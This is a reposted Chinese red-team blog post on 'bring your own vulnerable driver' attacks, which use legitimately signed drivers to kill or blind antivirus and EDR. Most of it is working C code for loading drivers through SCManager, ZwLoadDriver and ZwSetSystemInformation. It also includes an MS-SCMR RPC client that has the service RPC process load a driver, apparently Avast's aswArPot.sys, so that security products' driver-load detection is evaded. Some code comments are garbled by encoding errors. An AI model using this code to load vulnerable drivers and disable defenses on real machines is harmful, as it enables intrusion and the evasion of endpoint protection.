Abuse MS-SCMR in BYOVD

admin 2023年6月22日16:45:27评论10 views字数 7336阅读24分27秒阅读模式

失踪人口回归,最近总算是稳定下来了,分享一篇知识星球的存货。

0x00 介绍

vulnerable driver在攻防中的场景大致就两种利用:

修改DSE

BYOVD是将存在漏洞的合法驱动投递至目标系统,借助其完成恶意操作的攻击技术。借助滥用的合法驱动签名,攻击者得以绕过DSE(强制驱动签名)机制的限制,在Ring0完成各种攻击操作,如加载自己的驱动结束AV/EDR或是屏蔽EDR的回调,使其致盲。

TerminateProcess

或是利用vulnerable driver已有的IOCTL来结束进程,如ProcessExplorer、ProcessHacker、Avast、等等驱动,这种vulnerable driver的好处就是利用驱动写好的结束进程代码来结束,不像利用任意内存读写驱动一样需要更改DSE,可能会引入BSOD风险。

那么其实AV/EDR对这种手段也做了一些防御,其中一块就是加载检测,正常加载驱动在一些AV上可能会被提示,如360核晶,所以今天分享一个之前的方式。

0x01 驱动加载方式

下面列举几种常见的驱动加载方式:

SCManager

BOOL SCMLoadDriver(char* lpszDriverName, char* lpszDriverPath)
{
    char szDriverImagePath[256];
    //得到完整的驱动路径
    GetFullPathName(lpszDriverPath, 256, szDriverImagePath, NULL);
    BOOL bRet = FALSE;
    SC_HANDLE hServiceMgr = NULL;//SCM管理器的句柄
    SC_HANDLE hServiceDDK = NULL;//NT驱动程序的服务句柄
    //打开服务控制管理器
    hServiceMgr = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (hServiceMgr == NULL)
    {
        //OpenSCManager失败
        printf("OpenSCManager() Faild %d ! /n", GetLastError());
        bRet = FALSE;
        goto BeforeLeave;
    }
    else
    {
        ////OpenSCManager成功
        printf("OpenSCManager() ok ! /n");
    }
    //创建驱动所对应的服务
    hServiceDDK = CreateService(hServiceMgr,
        lpszDriverName, //驱动程序的在注册表中的名字
        lpszDriverName, // 注册表驱动程序的 DisplayName 值
        SERVICE_ALL_ACCESS, // 加载驱动程序的访问权限
        SERVICE_KERNEL_DRIVER,// 表示加载的服务是驱动程序
        SERVICE_DEMAND_START, // 注册表驱动程序的 Start 值
        SERVICE_ERROR_IGNORE, // 注册表驱动程序的 ErrorControl 值
        szDriverImagePath, // 注册表驱动程序的 ImagePath 值
        NULL,
        NULL,
        NULL,
        NULL,
        NULL);
    DWORD dwRtn;
    //判断服务是否失败
    if (hServiceDDK == NULL)
    {
        dwRtn = GetLastError();
        if (dwRtn != ERROR_IO_PENDING && dwRtn != ERROR_SERVICE_EXISTS)
        {
            //由于其他原因创建服务失败
            printf("CrateService() Faild %d ! /n", dwRtn);
            bRet = FALSE;
            goto BeforeLeave;
        }
        else
        {
            //服务创建失败,是由于服务已经创立过
            printf("CrateService() Faild Service is ERROR_IO_PENDING or ERROR_SERVICE_EXISTS! /n");
        }
        // 驱动程序已经加载,只需要打开
        hServiceDDK = OpenService(hServiceMgr, lpszDriverName, SERVICE_ALL_ACCESS);
        if (hServiceDDK == NULL)
        {
            //如果打开服务也失败,则意味错误
            dwRtn = GetLastError();
            printf("OpenService() Faild %d ! /n", dwRtn);
            bRet = FALSE;
            goto BeforeLeave;
        }
        else
        {
            printf("OpenService() ok ! /n");
        }
    }
    else
    {
        printf("CrateService() ok ! /n");
    }
    //开启此项服务
    bRet = StartService(hServiceDDK, NULL, NULL);
    if (!bRet)
    {
        DWORD dwRtn = GetLastError();
        if (dwRtn != ERROR_IO_PENDING && dwRtn != ERROR_SERVICE_ALREADY_RUNNING)
        {
            printf("StartService() Faild %d ! /n", dwRtn);
            bRet = FALSE;
            goto BeforeLeave;
        }
        else
        {
            if (dwRtn == ERROR_IO_PENDING)
            {
                //设备被挂住
                printf("StartService() Faild ERROR_IO_PENDING ! /n");
                bRet = FALSE;
                goto BeforeLeave;
            }
            else
            {
                //服务已经开启
                printf("StartService() Faild ERROR_SERVICE_ALREADY_RUNNING ! /n");
                bRet = TRUE;
                goto BeforeLeave;
            }
        }
    }
    bRet = TRUE;
    //离开前关闭句柄
BeforeLeave:
    if (hServiceDDK)
    {
        CloseServiceHandle(hServiceDDK);
    }
    if (hServiceMgr)
    {
        CloseServiceHandle(hServiceMgr);
    }
    return bRet;
}

ZwLoadDriver

int MyZwLoadDriver(char* szDrvName, char* szDrvPath)
{
    HMODULE hNtdll = LoadLibrary("ntdll.dll");
    RtlAnsiStringToUnicodeString = (RTLANSISTRINGTOUNICODESTRING)GetProcAddress(hNtdll, "RtlAnsiStringToUnicodeString");
    RtlFreeUnicodeString = (RTLFREEUNICODESTRING)GetProcAddress(hNtdll, "RtlFreeUnicodeString");
    ZwLoadDriver = (ZWLOADDRIVER)GetProcAddress(hNtdll, "ZwLoadDriver");

char szSubKey[200], szDrvFullPath[256];
LSA_UNICODE_STRING buf1;
LSA_UNICODE_STRING buf2;
int iBuffLen;
HKEY hkResult;
char Data[4];
DWORD dwOK;
iBuffLen = sprintf(szSubKey, "System\CurrentControlSet\Services\%s", szDrvName);
szSubKey[iBuffLen] = 0;
dwOK = RegCreateKey(HKEY_LOCAL_MACHINE, szSubKey, &hkResult);

if (dwOK != ERROR_SUCCESS)
return false;
Data[0] = 1;
Data[1] = 0;
Data[2] = 0;
Data[3] = 0;
dwOK = RegSetValueEx(hkResult, "Type", 0, 4, (const unsigned char*)Data, 4);
dwOK = RegSetValueEx(hkResult, "ErrorControl", 0, 4, (const unsigned char*)Data, 4);
dwOK = RegSetValueEx(hkResult, "Start", 0, 4, (const unsigned char*)Data, 4);

GetFullPathName(szDrvPath, 256, szDrvFullPath, NULL);
printf("Loading driver: %srn", szDrvFullPath);
iBuffLen = sprintf(szSubKey, "\??\%s", szDrvFullPath);
szSubKey[iBuffLen] = 0;
dwOK = RegSetValueEx(hkResult, "ImagePath", 0, 1, (const unsigned char*)szSubKey, iBuffLen);
RegCloseKey(hkResult);
iBuffLen = sprintf(szSubKey, "\Registry\Machine\System\CurrentControlSet\Services\%s", szDrvName);
szSubKey[iBuffLen] = 0;
buf2.Buffer = (PVOID)szSubKey;
buf2.Length = iBuffLen;
RtlAnsiStringToUnicodeString(&buf1, &buf2, 1);

//¼ÓÔØÇý¶¯³ÌÐò
dwOK = ZwLoadDriver(&buf1);
RtlFreeUnicodeString(&buf1);
iBuffLen = sprintf(szSubKey, "%s%s\Enum", "System\CurrentControlSet\Services\", szDrvName);
szSubKey[iBuffLen] = 0;

//ɾ³ý×¢²á±íÏî
RegDeleteKey(HKEY_LOCAL_MACHINE, szSubKey);
iBuffLen = sprintf(szSubKey, "%s%s\Security", "System\CurrentControlSet\Services\", szDrvName);
szSubKey[iBuffLen] = 0;
RegDeleteKey(HKEY_LOCAL_MACHINE, szSubKey);
iBuffLen = sprintf(szSubKey, "%s%s", "System\CurrentControlSet\Services\", szDrvName);
szSubKey[iBuffLen] = 0;
RegDeleteKey(HKEY_LOCAL_MACHINE, szSubKey);
iBuffLen = sprintf(szSubKey, "\\.\%s", szDrvName);
szSubKey[iBuffLen] = 0;
return true;
}

ZwSetSystemInformation

int MyZwSetSystemInformation(char* szDrvPath)
{
    SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
    UNICODE_STRING TmpBuff;
    char  szDrvFullPath[256], szTmp[256];
    int iBuffLen;

HMODULE hNtdll = LoadLibrary("ntdll.dll");
RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress(hNtdll, "RtlInitUnicodeString");
ZwSetSystemInformation = (ZWSETSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwSetSystemInformation");
RtlAnsiStringToUnicodeString = (RTLANSISTRINGTOUNICODESTRING)GetProcAddress(hNtdll, "RtlAnsiStringToUnicodeString");

GetFullPathName(szDrvPath, 256, szTmp, NULL);
printf("Loading driver: %srn", szTmp);
iBuffLen = sprintf(szDrvFullPath, "\??\%s", szTmp);
szDrvFullPath[iBuffLen] = 0;
TmpBuff.Buffer = (PVOID)szDrvFullPath;
TmpBuff.Length = iBuffLen;
RtlAnsiStringToUnicodeString(&(GregsImage.ModuleName), &TmpBuff, 1);

if (NT_SUCCESS(ZwSetSystemInformation(SystemLoadAndCallImage, &GregsImage, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)))) //¼ÓÔؽøÄں˿ռä
{
printf("Driver: %s loaded.rn", szDrvFullPath);
}
else
{
printf("Driver: %s not loaded.rn", szDrvFullPath);
}
return true;
}

0x02 MS-SCMR加载驱动

全称Service Control Manager Remote Protocol,用于远程管理服务控制管理器 (SCM),这是一个启用服务配置和服务程序控制的 RPC 服务器,具体为什么能绕过一些杀毒添加驱动,说白了还是可信进程、进程链等原因,发起加载请求的为RPC服务进程,这就像同样利用上面的普通方式利用白加黑绕过进程链后也可以添加一样。

具体细节去年在前公司的公众号也发过:《红队视角下的Windows RPC》

    RpcTryExcept
    {

//LPSTR ServiceName = (LPSTR)"aswSP_ArPot2";
//LPSTR SysPathName = (LPSTR)"C:\Users\PC3\Desktop\aswArPot.sys";

SC_RPC_HANDLE ScHandle = NULL;

status = ROpenSCManagerA((SVCCTL_HANDLEA)"127.0.0.1", NULL, SC_MANAGER_ALL_ACCESS, &ScHandle);
printf("[*] OpenSCManagerA status code: %drn", status);

SC_RPC_HANDLE ServiceHandle = NULL;
LPSTR lpLoadOrderGroup = NULL;
LPDWORD lpdwTagId = 0;
LPBYTE lpDependencies = NULL;
DWORD dwDependSize = 0;
LPSTR lpServiceStartName = NULL;
LPBYTE lpPassword = NULL;
DWORD dwPwSize = 0;

if (!strcmp(SrvMode,"0")) //Driver Mode
{
status = RCreateServiceA(ScHandle,
ServiceName,
ServiceName,
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
SysPathName,
lpLoadOrderGroup,
lpdwTagId,
lpDependencies,
dwDependSize,
lpServiceStartName,
lpPassword,
dwPwSize,
&ServiceHandle);
}
else if (!strcmp(SrvMode, "1")) //Service EXE Mode
{
status = RCreateServiceA(ScHandle,
ServiceName,
ServiceName,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
SysPathName,
lpLoadOrderGroup,
lpdwTagId,
lpDependencies,
dwDependSize,
lpServiceStartName,
lpPassword,
dwPwSize,
&ServiceHandle);
}
else {
printf("[*] Error Mode, EXIT>>rn");
return 1;
}

printf("[*] RCreateServiceA status code: %drn", status);

status = RStartServiceA(ServiceHandle, 0 , NULL);

printf("[*] RStartServiceA status code: %drn", status);
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER);
{
printf("Exception: %d - 0x%08xrn", RpcExceptionCode(), RpcExceptionCode());
}
RpcEndExcept

return 0;
}
void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
return((void __RPC_FAR*) malloc(cBytes));
}
void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
free(p);
}

最后

效果就不演示了,我变成熟了,不爱装逼了。

原文始发于微信公众号(黑客在思考):Abuse MS-SCMR in BYOVD

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月22日16:45:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Abuse MS-SCMR in BYOVDhttp://cn-sec.com/archives/1827688.html

发表评论

匿名网友 填写信息